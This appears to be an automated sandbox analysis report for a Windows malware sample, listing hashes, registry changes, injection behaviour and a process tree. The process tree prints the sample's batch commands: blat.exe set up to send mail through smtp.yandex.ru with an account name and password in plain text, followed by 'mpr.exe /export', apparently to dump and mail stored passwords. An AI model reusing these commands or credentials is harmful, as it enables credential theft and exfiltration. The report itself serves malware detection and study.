Analysis
-
max time kernel
146s -
max time network
108s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
24-05-2024 11:41
Behavioral task
behavioral1
Sample
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
Resource
win10v2004-20240426-en
General
-
Target
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe
-
Size
3.7MB
-
MD5
6de3da12ea83180aed2fa3dabc37cbe0
-
SHA1
c547617a266984c58743716a08f8662f3d8bb281
-
SHA256
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4
-
SHA512
4141a1544626bd94cd7fb153ae77420227bf14dbc369bce549dff7f021a21ccb4c2cf626fde6f5d10f87bd09e710784d6d7bcdf1df6733c31fff11a8b75f11c6
-
SSDEEP
49152:cYn2JVKh1VrdmC/1xpLzgYSHx4yzj8zow4ylvrFgn/y5q2DiAtGJqT5+GPd:c2FdzgYSHx4yzj8zowFdyotWAH
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe -
Executes dropped EXE 2 IoCs
Processes:
blat.exeMPR.exepid process 4696 blat.exe 1760 MPR.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 21 IoCs
Processes:
MPR.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe \"%1\"" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe" MPR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\BrowserFlags = "8" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "MPR.DocHostUIHandler" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\ = "Implements DocHostUIHandler" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MPR.DocHostUIHandler\Clsid MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\ = "mprf" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf MPR.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\EditFlags = "0" MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MPR.exe,0" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF} MPR.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler" MPR.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32 MPR.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 656 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
MPR.exedescription pid process Token: SeDebugPrivilege 1760 MPR.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
MPR.exepid process 1760 MPR.exe 1760 MPR.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.execmd.exedescription pid process target process PID 5012 wrote to memory of 5076 5012 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 5012 wrote to memory of 5076 5012 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 5012 wrote to memory of 5076 5012 d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe cmd.exe PID 5076 wrote to memory of 1180 5076 cmd.exe PING.EXE PID 5076 wrote to memory of 1180 5076 cmd.exe PING.EXE PID 5076 wrote to memory of 1180 5076 cmd.exe PING.EXE PID 5076 wrote to memory of 4696 5076 cmd.exe blat.exe PID 5076 wrote to memory of 4696 5076 cmd.exe blat.exe PID 5076 wrote to memory of 4696 5076 cmd.exe blat.exe PID 5076 wrote to memory of 1760 5076 cmd.exe MPR.exe PID 5076 wrote to memory of 1760 5076 cmd.exe MPR.exe PID 5076 wrote to memory of 1760 5076 cmd.exe MPR.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"C:\Users\Admin\AppData\Local\Temp\d92cea79ef6057193ed6349af43aa25ff43b2e7340d1e3ed2aad3d8f384642b4.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4E7E.tmp\1.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping ya.ru -n 53⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\blat.exeblat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u ya.eliteden -pw Elite923⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\MPR.exempr.exe /export3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\4E7E.tmp\1.batFilesize
350B
MD5b6699b0bcec646342b9475a16d0c0074
SHA188de4575051a8fb439160f312d40e7c4674723d0
SHA25625caa4f7a0fe443f60d0dc018c696ba372237bd06045ad8522ee79ce1a38f8ec
SHA512876fee140184ca6d6c7c4b14a6be76b898ccbe2bd9568dddd7fa1f0dd4da029efd20c709a613a44e4c716f9cd5b70b2ccdd45ee5d18af0e9383cc0a01a3aca72
-
C:\Users\Admin\AppData\Local\Temp\MPR.exeFilesize
3.3MB
MD58dba37604bf06ebcef07dd1085865a6a
SHA11202eb0ea461c502daa7da9d7d75fff226bf57bd
SHA256038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0
SHA5120f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa
-
C:\Users\Admin\AppData\Local\Temp\blat.exeFilesize
112KB
MD531f84e433e8d1865e322998a41e6d90e
SHA1cbea6cda10db869636f57b1cffad39b22e6f7f17
SHA256aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
SHA5127ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9
-
C:\Users\Admin\AppData\Local\Temp\mpr.iniFilesize
341B
MD541e2bfc402a656090f4b558951604e5c
SHA1d75376b211652d3d82edcd16dd12fdadcc6ec5f6
SHA25686eef7f8560accf5640db6b06fc0ba2cbe71c0f149cfefdd5f08448f08fd3d64
SHA512bd9b93d5ab8ad7bc7f434cfb1726664d599185b018098b56711017b62f3b0e26630ffa2cf7c9082e0c2b5657cc4d086ffda8ecb7f0dd49e97648777e62d40b14
-
memory/1760-24-0x0000000000A50000-0x0000000000A51000-memory.dmpFilesize
4KB
-
memory/1760-26-0x0000000000500000-0x000000000084A000-memory.dmpFilesize
3.3MB
-
memory/1760-28-0x0000000000A50000-0x0000000000A51000-memory.dmpFilesize
4KB